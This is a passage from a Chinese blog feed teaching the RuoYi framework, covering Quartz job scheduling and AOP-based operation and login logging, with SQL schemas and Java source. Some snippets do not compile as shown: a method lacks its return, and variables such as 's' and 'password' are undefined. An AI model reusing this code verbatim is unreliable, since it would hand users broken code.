            cronScheduleBuilder = handleCronScheduleMisfirePolicy(job, cronScheduleBuilder);

            // 按新的cronExpression表达式构建一个新的trigger
            CronTrigger trigger = TriggerBuilder.newTrigger()
                    .withIdentity(getTriggerKey(jobId, jobGroup))
                    .withSchedule(cronScheduleBuilder)
                    .build();

            // 放入参数，运行时的方法可以获取
            jobDetail.getJobDataMap().put(ScheduleConstants.TASK_PROPERTIES, job);

            // 判断是否存在
            if (scheduler.checkExists(getJobKey(jobId, jobGroup))) {
                // 防止创建时触发器还未开始就删除了
                scheduler.deleteJob(getJobKey(jobId, jobGroup));
            }

            scheduler.scheduleJob(jobDetail, trigger);

            // 暂停任务
            if (job.getStatus().equals(ScheduleConstants.Status.PAUSE.getValue())) {
                scheduler.pauseJob(getJobKey(jobId, jobGroup));
            }
        } catch (SchedulerException e) {
            throw new ServiceException(&quot;创建定时任务失败&quot;);
        }
    }

    /**
     * 设置定时任务策略
     */
    public static CronScheduleBuilder handleCronScheduleMisfirePolicy(SysJob job, 
            CronScheduleBuilder cb) throws ServiceException {
        switch (job.getMisfirePolicy()) {
            case ScheduleConstants.MISFIRE_DEFAULT:
                return cb;
            case ScheduleConstants.MISFIRE_IGNORE_MISFIRES:
                return cb.withMisfireHandlingInstructionIgnoreMisfires();
            case ScheduleConstants.MISFIRE_FIRE_AND_PROCEED:
                return cb.withMisfireHandlingInstructionFireAndProceed();
            case ScheduleConstants.MISFIRE_DO_NOTHING:
                return cb.withMisfireHandlingInstructionDoNothing();
            default:
                throw new ServiceException(&quot;未知任务策略&quot;);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;任务执行类&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/quartz/util/QuartzJobExecution.java
package com.ruoyi.quartz.util;

import org.quartz.JobExecutionContext;
import org.quartz.JobExecutionException;
import com.ruoyi.quartz.domain.SysJob;

/**
 * 定时任务处理（允许并发执行）
 * 
 * @author ruoyi
 */
public class QuartzJobExecution extends AbstractQuartzJob {
    @Override
    protected void doExecute(JobExecutionContext context, SysJob sysJob) throws Exception {
        JobInvokeUtil.invokeMethod(sysJob);
    }
}

// src/main/java/com/ruoyi/quartz/util/QuartzDisallowConcurrentExecution.java
package com.ruoyi.quartz.util;

import org.quartz.DisallowConcurrentExecution;
import org.quartz.JobExecutionContext;
import com.ruoyi.quartz.domain.SysJob;

/**
 * 定时任务处理（禁止并发执行）
 * 
 * @author ruoyi
 */
@DisallowConcurrentExecution
public class QuartzDisallowConcurrentExecution extends AbstractQuartzJob {
    @Override
    protected void doExecute(JobExecutionContext context, SysJob sysJob) throws Exception {
        JobInvokeUtil.invokeMethod(sysJob);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 定时任务核心流程
// 1. 项目启动时初始化
@PostConstruct
public void init() throws SchedulerException {
    scheduler.clear();
    List&amp;lt;SysJob&amp;gt; jobList = jobMapper.selectJobAll();
    for (SysJob job : jobList) {
        ScheduleUtils.createScheduleJob(scheduler, job);
    }
}

// 2. 创建任务
JobDetail jobDetail = JobBuilder.newJob(jobClass)
    .withIdentity(getJobKey(jobId, jobGroup))
    .build();

CronTrigger trigger = TriggerBuilder.newTrigger()
    .withIdentity(getTriggerKey(jobId, jobGroup))
    .withSchedule(CronScheduleBuilder.cronSchedule(cronExpression))
    .build();

scheduler.scheduleJob(jobDetail, trigger);

// 3. 暂停/恢复任务
scheduler.pauseJob(getJobKey(jobId, jobGroup));
scheduler.resumeJob(getJobKey(jobId, jobGroup));

// 4. 立即执行
scheduler.triggerJob(getJobKey(jobId, jobGroup), dataMap);
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类名&lt;/th&gt;
&lt;th&gt;职责&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysJob&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;任务实体类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysJobLog&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;任务日志实体&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ISysJobService&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;任务服务接口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ScheduleUtils&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;任务调度工具类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CronUtils&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cron 表达式工具类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;QuartzJobExecution&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许并发执行的任务&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;QuartzDisallowConcurrentExecution&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;禁止并发执行的任务&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;任务策略&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;MISFIRE_DEFAULT&lt;/td&gt;
&lt;td&gt;默认策略&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MISFIRE_IGNORE_MISFIRES&lt;/td&gt;
&lt;td&gt;立即执行所有错过的任务&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MISFIRE_FIRE_AND_PROCEED&lt;/td&gt;
&lt;td&gt;执行一次后按原计划执行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MISFIRE_DO_NOTHING&lt;/td&gt;
&lt;td&gt;不执行错过的任务&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一步：&lt;a href=&quot;/blog/posts/ruoyi-roadmap-11-code-generator/&quot;&gt;阶段十一：代码生成器&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在阶段十一中，我们将学习代码生成器的实现，包括 Velocity 模板引擎和自动化代码生成。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>RuoYi 阶段九：日志管理</title><link>http://117.72.32.87/blog/posts/ruoyi-roadmap-09-log-management/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/ruoyi-roadmap-09-log-management/</guid><description>学习操作日志和登录日志的实现，掌握 AOP 切面编程和 @Log 注解的使用。</description><pubDate>Mon, 07 Sep 2026 11:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文是 RuoYi 学习路线的&lt;strong&gt;阶段九&lt;/strong&gt;，聚焦日志管理。学完本篇你应该能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;理解操作日志和登录日志的区别&lt;/li&gt;
&lt;li&gt;掌握 AOP 切面编程记录日志&lt;/li&gt;
&lt;li&gt;知道 @Log 注解的使用方法&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前端视角：日志管理像什么？&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;RuoYi 日志&lt;/th&gt;
&lt;th&gt;前端类比&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;操作日志&lt;/td&gt;
&lt;td&gt;用户行为埋点 (Analytics)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;登录日志&lt;/td&gt;
&lt;td&gt;登录历史记录&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@Log&lt;/code&gt; 注解&lt;/td&gt;
&lt;td&gt;装饰器 (Decorator)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AOP 切面&lt;/td&gt;
&lt;td&gt;拦截器 (Interceptor)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;异步记录&lt;/td&gt;
&lt;td&gt;Web Worker 后台处理&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;日志类型&lt;/h2&gt;
&lt;h3&gt;操作日志 (sys_oper_log)&lt;/h3&gt;
&lt;p&gt;记录用户的增删改操作：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE sys_oper_log (
  oper_id           BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT &apos;日志主键&apos;,
  title             VARCHAR(50)     DEFAULT &apos;&apos;                 COMMENT &apos;模块标题&apos;,
  business_type     INT(2)          DEFAULT 0                  COMMENT &apos;业务类型（0其它 1新增 2修改 3删除）&apos;,
  method            VARCHAR(100)    DEFAULT &apos;&apos;                 COMMENT &apos;方法名称&apos;,
  request_method    VARCHAR(10)     DEFAULT &apos;&apos;                 COMMENT &apos;请求方式&apos;,
  operator_type     INT(1)          DEFAULT 0                  COMMENT &apos;操作类别（0其它 1后台用户 2手机端用户）&apos;,
  oper_name         VARCHAR(50)     DEFAULT &apos;&apos;                 COMMENT &apos;操作人员&apos;,
  dept_name         VARCHAR(50)     DEFAULT &apos;&apos;                 COMMENT &apos;部门名称&apos;,
  oper_url          VARCHAR(255)    DEFAULT &apos;&apos;                 COMMENT &apos;请求URL&apos;,
  oper_ip           VARCHAR(128)    DEFAULT &apos;&apos;                 COMMENT &apos;主机地址&apos;,
  oper_location     VARCHAR(255)    DEFAULT &apos;&apos;                 COMMENT &apos;操作地点&apos;,
  oper_param        VARCHAR(2000)   DEFAULT &apos;&apos;                 COMMENT &apos;请求参数&apos;,
  json_result       VARCHAR(2000)   DEFAULT &apos;&apos;                 COMMENT &apos;返回参数&apos;,
  status            INT(1)          DEFAULT 0                  COMMENT &apos;操作状态（0正常 1异常）&apos;,
  error_msg         VARCHAR(2000)   DEFAULT &apos;&apos;                 COMMENT &apos;错误消息&apos;,
  oper_time         DATETIME                                   COMMENT &apos;操作时间&apos;,
  cost_time         BIGINT(20)      DEFAULT 0                  COMMENT &apos;消耗时间&apos;,
  PRIMARY KEY (oper_id)
) ENGINE=InnoDB AUTO_INCREMENT=100 COMMENT = &apos;操作日志记录&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;登录日志 (sys_logininfor)&lt;/h3&gt;
&lt;p&gt;记录用户登录登出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE sys_logininfor (
  info_id           BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT &apos;访问ID&apos;,
  login_name        VARCHAR(50)     DEFAULT &apos;&apos;                 COMMENT &apos;登录账号&apos;,
  ipaddr            VARCHAR(128)    DEFAULT &apos;&apos;                 COMMENT &apos;登录IP地址&apos;,
  login_location    VARCHAR(255)    DEFAULT &apos;&apos;                 COMMENT &apos;登录地点&apos;,
  browser           VARCHAR(50)     DEFAULT &apos;&apos;                 COMMENT &apos;浏览器类型&apos;,
  os                VARCHAR(50)     DEFAULT &apos;&apos;                 COMMENT &apos;操作系统&apos;,
  status            CHAR(1)         DEFAULT &apos;0&apos;                COMMENT &apos;登录状态（0成功 1失败）&apos;,
  msg               VARCHAR(255)    DEFAULT &apos;&apos;                 COMMENT &apos;提示消息&apos;,
  login_time        DATETIME                                   COMMENT &apos;访问时间&apos;,
  PRIMARY KEY (info_id)
) ENGINE=InnoDB AUTO_INCREMENT=100 COMMENT = &apos;系统访问记录&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;操作日志实体类&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/system/domain/SysOperLog.java
package com.ruoyi.system.domain;

import java.util.Date;
import com.fasterxml.jackson.annotation.JsonFormat;
import com.ruoyi.common.annotation.Excel;
import com.ruoyi.common.annotation.Excel.ColumnType;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * 操作日志记录表 oper_log
 * 
 * @author ruoyi
 */
public class SysOperLog extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 日志主键 */
    @Excel(name = &quot;操作序号&quot;, cellType = ColumnType.NUMERIC)
    private Long operId;

    /** 操作模块 */
    @Excel(name = &quot;操作模块&quot;)
    private String title;

    /** 业务类型（0其它 1新增 2修改 3删除） */
    @Excel(name = &quot;业务类型&quot;, readConverterExp = &quot;0=其它,1=新增,2=修改,3=删除,4=授权,5=导出,6=导入,7=强退,8=生成代码,9=清空数据&quot;)
    private Integer businessType;

    /** 请求方法 */
    @Excel(name = &quot;请求方法&quot;)
    private String method;

    /** 请求方式 */
    @Excel(name = &quot;请求方式&quot;)
    private String requestMethod;

    /** 操作类别（0其它 1后台用户 2手机端用户） */
    @Excel(name = &quot;操作类别&quot;, readConverterExp = &quot;0=其它,1=后台用户,2=手机端用户&quot;)
    private Integer operatorType;

    /** 操作人员 */
    @Excel(name = &quot;操作人员&quot;)
    private String operName;

    /** 部门名称 */
    @Excel(name = &quot;部门名称&quot;)
    private String deptName;

    /** 请求url */
    @Excel(name = &quot;请求地址&quot;)
    private String operUrl;

    /** 操作地址 */
    @Excel(name = &quot;操作地址&quot;)
    private String operIp;

    /** 操作地点 */
    @Excel(name = &quot;操作地点&quot;)
    private String operLocation;

    /** 请求参数 */
    @Excel(name = &quot;请求参数&quot;)
    private String operParam;

    /** 返回参数 */
    @Excel(name = &quot;返回参数&quot;)
    private String jsonResult;

    /** 操作状态（0正常 1异常） */
    @Excel(name = &quot;状态&quot;, readConverterExp = &quot;0=正常,1=异常&quot;)
    private Integer status;

    /** 错误消息 */
    @Excel(name = &quot;错误消息&quot;)
    private String errorMsg;

    /** 操作时间 */
    @JsonFormat(pattern = &quot;yyyy-MM-dd HH:mm:ss&quot;)
    @Excel(name = &quot;操作时间&quot;, width = 30, dateFormat = &quot;yyyy-MM-dd HH:mm:ss&quot;)
    private Date operTime;

    /** 消耗时间 */
    @Excel(name = &quot;消耗时间&quot;, suffix = &quot;毫秒&quot;)
    private Long costTime;

    // Getter 和 Setter 省略...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;@Log 注解&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/common/annotation/Log.java
package com.ruoyi.common.annotation;

import java.lang.annotation.*;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.enums.OperatorType;

/**
 * 自定义操作日志记录注解
 * 
 * @author ruoyi
 */
@Target({ ElementType.PARAMETER, ElementType.METHOD })
@Retention(RetentionPolicy.RUNTIME)
@Documented
public @interface Log {
    /**
     * 模块
     */
    public String title() default &quot;&quot;;

    /**
     * 功能
     */
    public BusinessType businessType() default BusinessType.OTHER;

    /**
     * 操作人类别
     */
    public OperatorType operatorType() default OperatorType.MANAGE;

    /**
     * 是否保存请求的参数
     */
    public boolean isSaveRequestData() default true;

    /**
     * 是否保存响应的参数
     */
    public boolean isSaveResponseData() default true;

    /**
     * 排除指定的请求参数
     */
    public String[] excludeParamNames() default {};
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;业务类型枚举&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/common/enums/BusinessType.java
package com.ruoyi.common.enums;

/**
 * 业务操作类型
 * 
 * @author ruoyi
 */
public enum BusinessType {
    /** 其它 */
    OTHER,

    /** 新增 */
    INSERT,

    /** 修改 */
    UPDATE,

    /** 删除 */
    DELETE,

    /** 授权 */
    GRANT,

    /** 导出 */
    EXPORT,

    /** 导入 */
    IMPORT,

    /** 强退 */
    FORCE,

    /** 生成代码 */
    GENCODE,

    /** 清空数据 */
    CLEAN,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;AOP 切面实现&lt;/h2&gt;
&lt;h3&gt;操作日志切面&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/framework/aspectj/LogAspect.java
package com.ruoyi.framework.aspectj;

import java.lang.reflect.Method;
import java.util.*;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.aspectj.lang.JoinPoint;
import org.aspectj.lang.annotation.AfterReturning;
import org.aspectj.lang.annotation.AfterThrowing;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;
import org.aspectj.lang.annotation.Pointcut;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.core.task.AsyncTaskExecutor;
import org.springframework.stereotype.Component;
import org.springframework.validation.BindingResult;
import org.springframework.web.multipart.MultipartFile;
import com.alibaba.fastjson.JSON;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.enums.BusinessStatus;
import com.ruoyi.common.utils.*;
import com.ruoyi.framework.manager.AsyncManager;
import com.ruoyi.framework.manager.factory.AsyncFactory;
import com.ruoyi.system.domain.SysOperLog;

/**
 * 操作日志记录处理
 * 
 * @author ruoyi
 */
@Aspect
@Component
public class LogAspect {
    private static final Logger log = LoggerFactory.getLogger(LogAspect.class);

    /** 排除敏感属性字段 */
    public static final String[] EXCLUDE_PROPERTIES = { &quot;password&quot;, &quot;oldPassword&quot;, &quot;newPassword&quot;, &quot;confirmPassword&quot; };

    /** 计算操作消耗时间 */
    private static final ThreadLocal&amp;lt;Long&amp;gt; TIME_THREADLOCAL = new ThreadLocal&amp;lt;&amp;gt;();

    @Autowired
    private AsyncTaskExecutor asyncTaskExecutor;

    /**
     * 配置织入点
     */
    @Pointcut(&quot;@annotation(com.ruoyi.common.annotation.Log)&quot;)
    public void logPointCut() {
    }

    /**
     * 处理请求前
     */
    @Before(&quot;logPointCut()&quot;)
    public void doBefore(JoinPoint joinPoint) {
        TIME_THREADLOCAL.set(System.currentTimeMillis());
    }

    /**
     * 处理完请求后执行
     */
    @AfterReturning(pointcut = &quot;logPointCut()&quot;, returning = &quot;jsonResult&quot;)
    public void doAfterReturning(JoinPoint joinPoint, Object jsonResult) {
        handleLog(joinPoint, null, jsonResult);
    }

    /**
     * 拦截异常操作
     */
    @AfterThrowing(value = &quot;logPointCut()&quot;, throwing = &quot;e&quot;)
    public void doAfterThrowing(JoinPoint joinPoint, Exception e) {
        handleLog(joinPoint, e, null);
    }

    protected void handleLog(final JoinPoint joinPoint, final Exception e, Object jsonResult) {
        try {
            // 获得注解
            Log controllerLog = getAnnotationLog(joinPoint);
            if (controllerLog == null) {
                return;
            }

            // 获取当前的用户
            SysUser currentUser = ShiroUtils.getSysUser();

            // 构建操作日志对象
            SysOperLog operLog = new SysOperLog();
            operLog.setStatus(BusinessStatus.SUCCESS.ordinal());
            // 请求的地址
            String ip = ShiroUtils.getIp();
            operLog.setOperIp(ip);
            operLog.setOperUrl(StringUtils.substring(ServletUtils.getRequest().getRequestURI(), 0, 255));

            if (currentUser != null) {
                operLog.setOperName(currentUser.getLoginName());
                if (StringUtils.isNotNull(currentUser.getDept()) 
                        &amp;amp;&amp;amp; StringUtils.isNotEmpty(currentUser.getDept().getDeptName())) {
                    operLog.setDeptName(currentUser.getDept().getDeptName());
                }
            }

            if (e != null) {
                operLog.setStatus(BusinessStatus.FAIL.ordinal());
                operLog.setErrorMsg(StringUtils.substring(e.getMessage(), 0, 2000));
            }
            // 设置方法名称
            String className = joinPoint.getTarget().getClass().getName();
            String methodName = joinPoint.getSignature().getName();
            operLog.setMethod(className + &quot;.&quot; + methodName + &quot;()&quot;);
            // 设置请求方式
            operLog.setRequestMethod(ServletUtils.getRequest().getMethod());
            // 处理设置注解上的参数
            getControllerMethodDescription(joinPoint, controllerLog, operLog, jsonResult);
            // 设置消耗时间
            operLog.setCostTime(System.currentTimeMillis() - TIME_THREADLOCAL.get());

            // 保存数据库（异步）
            AsyncManager.me().execute(AsyncFactory.recordOper(operLog));
        } catch (Exception exp) {
            // 记录本地异常日志
            log.error(&quot;==前置通知异常==&quot;);
            log.error(&quot;异常信息:{}&quot;, exp.getMessage());
            exp.printStackTrace();
        } finally {
            TIME_THREADLOCAL.remove();
        }
    }

    /**
     * 获取注解中对方法的描述信息 用于Controller层注解
     */
    public void getControllerMethodDescription(JoinPoint joinPoint, Log log, SysOperLog operLog, Object jsonResult) {
        // 设置action动作
        operLog.setBusinessType(log.businessType().ordinal());
        // 设置标题
        operLog.setTitle(log.title());
        // 设置操作人类别
        operLog.setOperatorType(log.operatorType().ordinal());
        // 是否需要保存request，参数和值
        if (log.isSaveRequestData()) {
            // 获取参数的信息，传入到数据库中。
            setRequestValue(joinPoint, operLog, log.excludeParamNames());
        }
        // 是否需要保存response，参数和值
        if (log.isSaveResponseData() &amp;amp;&amp;amp; StringUtils.isNotNull(jsonResult)) {
            operLog.setJsonResult(StringUtils.substring(JSON.toJSONString(jsonResult), 0, 2000));
        }
    }

    /**
     * 获取请求的参数，放到log中
     */
    private void setRequestValue(JoinPoint joinPoint, SysOperLog operLog, String[] excludeParamNames) {
        Map&amp;lt;String, String&amp;gt; map = ServletUtils.getRequest().getParameterMap();
        if (StringUtils.isNotEmpty(map)) {
            String params = JSONObject.toJSONString(map, excludePropertyPreFilter(excludeParamNames));
            operLog.setOperParam(StringUtils.substring(params, 0, 2000));
        } else {
            Object args = joinPoint.getArgs();
            if (StringUtils.isNotNull(args)) {
                List&amp;lt;Object&amp;gt; paramsList = new ArrayList&amp;lt;&amp;gt;();
                for (Object arg : args) {
                    if (StringUtils.isNull(arg) || arg instanceof ServletRequest 
                            || arg instanceof ServletResponse || arg instanceof MultipartFile
                            || arg instanceof BindingResult) {
                        continue;
                    }
                    paramsList.add(arg);
                }
                String params = JSONObject.toJSONString(paramsList, excludePropertyPreFilter(excludeParamNames));
                operLog.setOperParam(StringUtils.substring(params, 0, 2000));
            }
        }
    }

    /**
     * 是否存在注解，如果存在就获取
     */
    private Log getAnnotationLog(JoinPoint joinPoint) {
        try {
            Method method = ((MethodSignature) joinPoint.getSignature()).getMethod();
            if (method != null) {
                return method.getAnnotation(Log.class);
            }
        } catch (Exception e) {
            return null;
        }
        return null;
    }

    /**
     * 忽略敏感属性
     */
    public PropertyPreFilters.MySimplePropertyPreFilter excludePropertyPreFilter(String[] excludeParamNames) {
        PropertyPreFilters filters = new PropertyPreFilters();
        PropertyPreFilters.MySimplePropertyPreFilter excludefilter = filters.addFilter();
        excludefilter.addExcludes(ArrayUtils.addAll(EXCLUDE_PROPERTIES, excludeParamNames));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;异步日志记录&lt;/h2&gt;
&lt;h3&gt;异步任务工厂&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/framework/manager/factory/AsyncFactory.java
package com.ruoyi.framework.manager.factory;

import java.util.TimerTask;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.ruoyi.common.constant.Constants;
import com.ruoyi.common.utils.AddressUtils;
import com.ruoyi.common.utils.ServletUtils;
import com.ruoyi.common.utils.spring.SpringUtils;
import com.ruoyi.system.domain.SysLogininfor;
import com.ruoyi.system.domain.SysOperLog;
import com.ruoyi.system.service.ISysLogininforService;
import com.ruoyi.system.service.ISysOperLogService;

/**
 * 异步工厂（产生任务用）
 * 
 * @author ruoyi
 */
public class AsyncFactory {
    private static final Logger sys_user_log = LoggerFactory.getLogger(&quot;sys-user&quot;);

    /**
     * 记录操作日志
     */
    public static TimerTask recordOper(final SysOperLog operLog) {
        return new TimerTask() {
            @Override
            public void run() {
                // 远程查询操作地点
                operLog.setOperLocation(AddressUtils.getRealAddressByIP(operLog.getOperIp()));
                SpringUtils.getBean(ISysOperLogService.class).insertOperlog(operLog);
            }
        };
    }

    /**
     * 记录登录信息
     */
    public static TimerTask recordLogininfor(final String username, final String status, 
            final String message, final Object... args) {
        final UserAgent userAgent = UserAgent.parseUserAgentString(ServletUtils.getRequest().getHeader(&quot;User-Agent&quot;));
        final String ip = ShiroUtils.getIp();
        return new TimerTask() {
            @Override
            public void run() {
                String os = userAgent.getOperatingSystem().getName();
                String browser = userAgent.getBrowser().getName();
                // 打印信息到日志
                sys_user_log.info(s.toString(), args);
                // 获取客户端操作系统
                // 封装登录信息
                SysLogininfor logininfor = new SysLogininfor();
                logininfor.setLoginName(username);
                logininfor.setIpaddr(ip);
                logininfor.setBrowser(browser);
                logininfor.setOs(os);
                logininfor.setMsg(message);
                // 日志状态
                if (Constants.LOGIN_SUCCESS.equals(status) || Constants.LOGOUT.equals(status)) {
                    logininfor.setStatus(Constants.SUCCESS);
                } else if (Constants.LOGIN_FAIL.equals(status)) {
                    logininfor.setStatus(Constants.FAIL);
                }
                // 远程查询操作地点
                logininfor.setLoginLocation(AddressUtils.getRealAddressByIP(ip));
                // 插入数据
                SpringUtils.getBean(ISysLogininforService.class).insertLogininfor(logininfor);
            }
        };
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;异步管理器&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/framework/manager/AsyncManager.java
package com.ruoyi.framework.manager;

import java.util.TimerTask;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit;
import com.ruoyi.common.utils.Threads;
import com.ruoyi.common.utils.spring.SpringUtils;

/**
 * 异步任务管理器
 * 
 * @author liuhulu
 */
public class AsyncManager {
    /**
     * 操作延迟10毫秒
     */
    private final int OPERATE_DELAY_TIME = 10;

    /**
     * 异步操作任务调度线程池
     */
    private ScheduledExecutorService executor = SpringUtils.getBean(&quot;scheduledExecutorService&quot;);

    /**
     * 单例模式
     */
    private static AsyncManager me = new AsyncManager();

    public static AsyncManager me() {
        return me;
    }

    /**
     * 执行任务
     */
    public void execute(TimerTask task) {
        executor.schedule(task, OPERATE_DELAY_TIME, TimeUnit.MILLISECONDS);
    }

    /**
     * 停止任务线程池
     */
    public void shutdown() {
        Threads.shutdownAndAwaitTermination(executor);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;使用示例&lt;/h2&gt;
&lt;h3&gt;Controller 中添加日志&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/web/controller/system/SysUserController.java

/**
 * 新增保存用户
 */
@RequiresPermissions(&quot;system:user:add&quot;)
@Log(title = &quot;用户管理&quot;, businessType = BusinessType.INSERT)
@PostMapping(&quot;/add&quot;)
@ResponseBody
public AjaxResult addSave(@Validated SysUser user) {
    // ... 业务逻辑
    return toAjax(userService.insertUser(user));
}

/**
 * 修改保存用户
 */
@RequiresPermissions(&quot;system:user:edit&quot;)
@Log(title = &quot;用户管理&quot;, businessType = BusinessType.UPDATE)
@PostMapping(&quot;/edit&quot;)
@ResponseBody
public AjaxResult editSave(@Validated SysUser user) {
    // ... 业务逻辑
    return toAjax(userService.updateUser(user));
}

/**
 * 删除用户
 */
@RequiresPermissions(&quot;system:user:remove&quot;)
@Log(title = &quot;用户管理&quot;, businessType = BusinessType.DELETE)
@PostMapping(&quot;/remove&quot;)
@ResponseBody
public AjaxResult remove(String ids) {
    return toAjax(userService.deleteUserByIds(ids));
}

/**
 * 导出用户
 */
@Log(title = &quot;用户管理&quot;, businessType = BusinessType.EXPORT)
@PostMapping(&quot;/export&quot;)
@ResponseBody
public AjaxResult export(HttpServletResponse response, SysUser user) {
    // ... 导出逻辑
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;登录日志记录&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/framework/shiro/realm/UserRealm.java

@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) {
    UsernamePasswordToken upToken = (UsernamePasswordToken) token;
    SysUser user = userService.selectUserByLoginName(upToken.getUsername());
    
    if (StringUtils.isNull(user)) {
        // 记录登录失败日志
        AsyncManager.me().execute(AsyncFactory.recordLogininfor(
            upToken.getUsername(), Constants.LOGIN_FAIL, &quot;用户不存在&quot;));
        throw new UnknownAccountException(&quot;用户不存在&quot;);
    }
    
    if (!passwordService.matches(user, new String(upToken.getPassword()))) {
        // 记录登录失败日志
        AsyncManager.me().execute(AsyncFactory.recordLogininfor(
            upToken.getUsername(), Constants.LOGIN_FAIL, &quot;密码错误&quot;));
        throw new IncorrectCredentialsException(&quot;密码错误&quot;);
    }
    
    // 记录登录成功日志
    AsyncManager.me().execute(AsyncFactory.recordLogininfor(
        upToken.getUsername(), Constants.LOGIN_SUCCESS, &quot;登录成功&quot;));
    
    return new SimpleAuthenticationInfo(user, password, getName());
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 日志管理核心流程
// 1. 添加 @Log 注解
@Log(title = &quot;用户管理&quot;, businessType = BusinessType.INSERT)
public AjaxResult addSave(SysUser user);

// 2. AOP 切面拦截
@Pointcut(&quot;@annotation(com.ruoyi.common.annotation.Log)&quot;)
public void logPointCut() {}

// 3. 异步记录日志
AsyncManager.me().execute(AsyncFactory.recordOper(operLog));

// 4. 登录日志
